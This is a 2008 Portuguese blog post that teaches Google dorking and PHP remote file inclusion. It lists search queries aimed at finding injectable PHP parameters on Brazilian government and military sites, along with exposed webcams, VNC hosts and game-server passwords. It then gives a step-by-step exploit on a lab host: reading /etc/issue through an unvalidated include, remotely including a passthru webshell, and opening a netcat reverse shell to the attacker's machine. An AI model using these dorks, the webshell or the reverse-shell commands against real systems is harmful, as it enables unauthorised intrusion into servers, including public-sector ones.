quarta-feira, 1 de outubro de 2008

Google Hacking

People...

Um tempo atrás tive que ir atrás de umas coisas de Google Hacking para umas aulas.
Estou postando aqui o pouco que consegui de info, mas que pode ajudar depois num PHP Injection... hehehe

Desfrutem ;-)


Google Hacking

O que é?
Essa técnica é a atividade de usar os recursos de busca do site, visando atacar ou melhor proteger as informações de uma empresa.

Podemos fazer uma busca, da seguinte maneira:
intitle:patenha
Ao fazermos essa busca, encontramos referências aos sites que tem em seu título a palavra hakcerteen.

Outro exemplo:
inurl: gov.br
Já nesse exemplo, fazemos buscas a sites que pertençam ao governo brasileiro, ou seja, que tenham a extensão gov.br

allinurl: cartilha.php
Com essa opção, estamos buscando no endereço todos os sites que tem disponíveis para pesquisa ou que estão linkados com o arquivo chamado cartinha.php

site: www.patenha.com.br
Nessa opção, estamos restringindo a busca a apenas esse endereço de site. Então nesse caso, ele procura referências ao link ou a informações somente do site mesmo.

filetype: .php
Quando realizarmos essa pesquisa, ele mostrará todos os sites que contém arquivos com a extensão .php em seus endereços.

Para saber mais informações sobre técnicas que podemos usar para pesquisar, acesse o link:
http://www.google.com.br/help/operators.html

inurl:e-mail filetype:mdb
inurl:@hotmail.com filetype:mdb
Com essa busca, conseguimos arquivos de e-mail em formato mdb (mail database)

inurl: intranet + intext:"telefone"
Essa pesquisa busca telefones que estão disponíveis em intranets diversas que o google consegue localizar.

site:oracle.com -site:www.oracle.com
Com essa pesquisa, conseguimos identificar diversos domínios (conhecidos também como subdomínios) que estão relacionados aos domínios da Oracle.
Outro exemplo:
site:microsoft.com -site:www.microsoft.com
Com essa pesquisa, conseguimos localizar diversos subdomínios relacionados ao site da Microsoft.

Para detectar portas abertas, como por exemplo buscar por uma porta 8080 que está aberta, pode fazer pesquisas da seguinte maneira:
inurl:8080 -intext:8080

Analise o comando abaixo:
intitle:VNC inurl:5800 intitle:VNC
Com esse comando, conseguimos saber hosts que estão com o VNC disponíveis.
Isso não quer dizer que o VNC não está seguro. Isso é apenas uma busca que ajuda a saber hosts com VNC.
Outra maneira que temos de buscar hosts com VNC é com a pesquisa:
intitle:"VNC Viewer for Java"

Encontrando sites que realizam portscan no Google
filetype:php inurl:nqt intext:"Network Query Tool"
Portscan é um software utilizado para verificar as portas abertas em um host remoto.

Podemos até mesmo tentar descobrir uma webcam no google. Para isso, a pesquisa seria assim:
"Active Webcam Page" inurl:8080
Encontrando uma webcam da toshiba:
intitle:"toshiba network camera - User Login"

Podemos também encontrar banners de alguns servidores web. Por exemplo:
"Apache/1.3.20 server at" intitle:index.of

Procurando pelo painel de controle do asterisk, através de uma interface flash. A pesquisa ficaria assim:
intitle:"Flash Operator Panel" -ext:php -wiki -cms -inurl:as

Podemos tentar fazer pesquisas para buscar senhas de servidor de Counter Strike:
inurl:server.cfg rcon password

PHP Inject

Aprendemos todas essas maneiras de pesquisar na web, porque vamos ver um assunto muito interessante e muito aplicado no mundo underground. O PHP Injection.

Essa é uma falha que muitos ADMs cometem. Porque quando eles instalam servidores de e-mail padrões, com suporte a PHP e não verificam as vulnerabilidades, podem ter problemas.
Então, podemos usar as pesquisas no google para analisar sites em PHP, que através de palavras padrões que são usadas na configuração, é possível verificar se tem um falha que permita o uso do PHPInject.

Para isso, vamos fazer pesquisas por palavras comuns e importantes, como adm, inc e body em sites brasileiros. Por exemplo:
allinurl:".php?adm=" site:.gov.br
allinurl:".php?inc=" site:.gov.br
allinurl:".php?body=" site:.gov.br (talvez não encontre nenhum resultado)

Podemos fazer pesquisas poe palavras como main, pag, page e pagina, em sites militares, por exemplo:
allinurl:".php?main=" site:.mil.br (talvez não encontre nenhum resultado)
allinurl:".php?pag=" site:.mil.br
allinurl:".php?page=" site:.mil.br
allinurl:".php?pagina=" site:.mil.br (talvez não encontre nenhum resultado)

*****
Mais uma maneira de pesquisar por palavras chaves em sites militares brasileiros:
allinurl:".php?content=" site:.mil inurl:br (talvez não encontre nenhum resultado)
allinurl:".php?cont=" site:.mil inurl:br (talvez não encontre nenhum resultado)
allinurl:".php?var=" site:.mil inurl:br (talvez não encontre nenhum resultado)
*****

Podemos fazer uma pesquisa por palavras simples também:
allinurl:".php?meio="
allinurl:".php?produto="
allinurl:".php?cat="

Pesquisas por palavras chaves:
allinurl:".php?site="
allinurl:".php?do="
allinurl:".php?content="

Mais palavras chaves:
allinurl:".php?admin="
allinurl:".php?adm="
allinurl:".php?root="

Buscando scripts em perl em um site:
filetype:pl site:dominio.com.br
filetype:pl site:uol.com.br
filetype:pl site:terra.com.br

Explorando a Falha PHP Injection
Os testes foram feitos em uma máquina RedHat 7.3 com servidor web Apache versão 1.3.23-11 e PHP versão 4.1.2-7
No diretório /var/www/html do servidor Apache, é onde ficam os documentos que vão ser publicados. E dentro desse arquivo, estavam criados os arquivos index.php teste.php e teste1.php

O arquivo index.php tinha o seguinte conteúdo:
phpinfo ();
?>

O arquivo teste.php tinha o seguinte conteúdo:
include (\teste1.php");
?>

Conteúdo do arquivo teste1.php:
echo \
Conteudo.INC
";
?>

No arquivo teste1.php estamos usando a função include. Essa função permite incluir o arquivo inteiro dentro de uma página já pronta e também permite fazer inclusões remotas.
O meu servidor web está no IP 192.168.0.160 então no navegador coloquei a linha:
http://192.168.0.160/teste.php

E quando digitei isso, apareceu:
Conteudo.INC

Depois, criei em /var/www/html um arquivo chamado teste2.php que continha o seguinte conteúdo:
include ($base);
?>

Depois, novamente no navegador, coloquei o seguinte endereço:
http://192.168.0.160/teste2.php?base=/etc/issue

Com essas informações, obtive a seguinte linha:
Red Hat Linux release 7.3 Evaluation (Valhalla) Kernel \r on an \m

Outro objetivo agora é obter o shell na máquina da vítima. O passo mais comum é obtê-la usando o auxílio do netcat, ou o nc.

Primeiramente, vamos no diretório /var/www/html e criar o arquivo comando2.php. O conteúdo dele é:
passthru (\$cod");
?>

A função do passthru é executar comando. Então agora poderá ser passado para a variável cod qualquer comando que o usuário apache (usuário comum) tenha permissão de executar.

Então, vamos testar se existe o comando no servidor alvo:

http://192.168.0.160/teste2.php?base=http://192.168.0.161/comando2.php&cod=which%20nc

Se existir, a seguinte saída irá aparecer:
/usr/bin/nc

Novamente, criamos um arquivo comando3.php com o seguinte conteúdo:
passthru (\nc -e /bin/bash 192.168.0.x 666");
?>

E por fim, validamos o conteúdo do comando3.php no navegador:
http://192.168.0.160/teste2.php?base=http://192.168.0.161/comando3.php

Depois disso, o sistema já está comprometido. Basta apenas tentar obter os privilégios de root.

E depois que o comando nc já está no diretório /tmp do servidor da vítima, então já temos permissão de execução. Sendo assim, podemos usar o comando para enviar um shell do servidor para sua máquina, como se fosse um acesso remoto mesmo. E então podemos abrir a porta 666 na máquina e aguardar o envio de shell:

nc -l -vv -p 666

Após isso, conseguimos executar comandos via browser, como por exemplo:

http://192.168.0.160/teste2.php?base=http://192.168.0.161/comando2.php&cod=ls%20-la
Com esse comando, conseguimos listar os arquivos do servidor.

E pronto, agora basta executarmos os comandos que forem necessários!

Nenhum comentário: